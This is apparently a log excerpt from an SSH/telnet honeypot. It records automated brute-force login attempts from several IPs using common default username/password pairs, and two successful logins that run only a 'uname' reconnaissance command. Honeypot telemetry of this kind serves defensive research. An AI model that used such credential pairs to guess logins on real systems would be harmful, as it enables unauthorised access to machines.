{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49356,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3264acd9ced","protocol":"ssh","message":"New connection: 109.237.96.109:49356 (159.203.135.109:22) [session: d3264acd9ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.605498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.614347Z","src_ip":"109.237.96.109","session":"d3264acd9ced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.715055Z","src_ip":"109.237.96.109","session":"d3264acd9ced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:13.723628Z","src_ip":"94.26.106.229","session":"74eba0ea5abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"161616","message":"login attempt [root/161616] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:14.000703Z","src_ip":"109.237.96.109","session":"d3264acd9ced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:14.558523Z","src_ip":"45.156.87.204","session":"bf6d3a1687ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.002028465271,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:14.971807Z","src_ip":"152.42.224.71","session":"8203dee8883e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:15.104059Z","src_ip":"109.237.96.109","session":"d3264acd9ced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41314,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f511fa58fa1","protocol":"ssh","message":"New connection: 45.156.87.204:41314 (159.203.135.109:22) [session: 6f511fa58fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:16.571985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:16.577164Z","src_ip":"45.156.87.204","session":"6f511fa58fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39136,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9f042ee27e4","protocol":"telnet","message":"New connection: 152.42.224.71:39136 (10.17.0.5:23) [session: d9f042ee27e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:16.648037Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:16.661263Z","src_ip":"45.156.87.204","session":"6f511fa58fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:17.161130Z","src_ip":"45.156.87.204","session":"6f511fa58fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:18.247030Z","src_ip":"45.156.87.204","session":"6f511fa58fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39144,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d81244de2ba","protocol":"telnet","message":"New connection: 152.42.224.71:39144 (10.17.0.5:23) [session: 4d81244de2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:20.276705Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41336,"dst_ip":"159.203.135.109","dst_port":22,"session":"83de6a7ea33a","protocol":"ssh","message":"New connection: 45.156.87.204:41336 (159.203.135.109:22) [session: 83de6a7ea33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:20.544237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:20.549648Z","src_ip":"45.156.87.204","session":"83de6a7ea33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:20.634620Z","src_ip":"45.156.87.204","session":"83de6a7ea33a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:20.888337Z","src_ip":"45.156.87.204","session":"83de6a7ea33a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:21.097890Z","src_ip":"45.156.87.204","session":"83de6a7ea33a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:21.101637Z","src_ip":"45.156.87.204","session":"83de6a7ea33a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:21.189890Z","src_ip":"45.156.87.204","session":"83de6a7ea33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:21.195647Z","src_ip":"45.156.87.204","session":"83de6a7ea33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":31436,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2ad1f5c69bb","protocol":"ssh","message":"New connection: 94.26.106.229:31436 (159.203.135.109:22) [session: b2ad1f5c69bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:22.261235Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":31450,"dst_ip":"159.203.135.109","dst_port":22,"session":"52469cf38935","protocol":"ssh","message":"New connection: 94.26.106.229:31450 (159.203.135.109:22) [session: 52469cf38935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:22.323062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:22.358551Z","src_ip":"94.26.106.229","session":"b2ad1f5c69bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:22.362394Z","src_ip":"94.26.106.229","session":"b2ad1f5c69bb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:22.428091Z","src_ip":"94.26.106.229","session":"52469cf38935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:22.432270Z","src_ip":"94.26.106.229","session":"52469cf38935","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:22.837611Z","src_ip":"94.26.106.229","session":"b2ad1f5c69bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude2026","message":"login attempt [claude/claude2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:22.845203Z","src_ip":"94.26.106.229","session":"52469cf38935","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:23.049596Z","src_ip":"94.26.106.229","session":"b2ad1f5c69bb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:23.053018Z","src_ip":"94.26.106.229","session":"b2ad1f5c69bb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:23.144229Z","src_ip":"94.26.106.229","session":"b2ad1f5c69bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:23.149532Z","src_ip":"94.26.106.229","session":"b2ad1f5c69bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:23.932892Z","src_ip":"94.26.106.229","session":"52469cf38935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36158,"dst_ip":"159.203.135.109","dst_port":22,"session":"4be499ffc692","protocol":"ssh","message":"New connection: 45.156.87.204:36158 (159.203.135.109:22) [session: 4be499ffc692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:24.055396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:24.060890Z","src_ip":"45.156.87.204","session":"4be499ffc692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":59792,"dst_ip":"159.203.135.109","dst_port":22,"session":"917ce2c1ae1e","protocol":"ssh","message":"New connection: 94.26.106.229:59792 (159.203.135.109:22) [session: 917ce2c1ae1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:24.142445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:24.146924Z","src_ip":"94.26.106.229","session":"917ce2c1ae1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:24.150026Z","src_ip":"45.156.87.204","session":"4be499ffc692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:24.244103Z","src_ip":"94.26.106.229","session":"917ce2c1ae1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:24.489368Z","src_ip":"45.156.87.204","session":"4be499ffc692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany","message":"login attempt [dany/dany] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:24.511110Z","src_ip":"94.26.106.229","session":"917ce2c1ae1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:25.576315Z","src_ip":"45.156.87.204","session":"4be499ffc692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:25.601782Z","src_ip":"94.26.106.229","session":"917ce2c1ae1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":59798,"dst_ip":"159.203.135.109","dst_port":22,"session":"885b6d47cfb9","protocol":"ssh","message":"New connection: 94.26.106.229:59798 (159.203.135.109:22) [session: 885b6d47cfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:26.237944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:26.242545Z","src_ip":"94.26.106.229","session":"885b6d47cfb9","protocol":"ssh"}
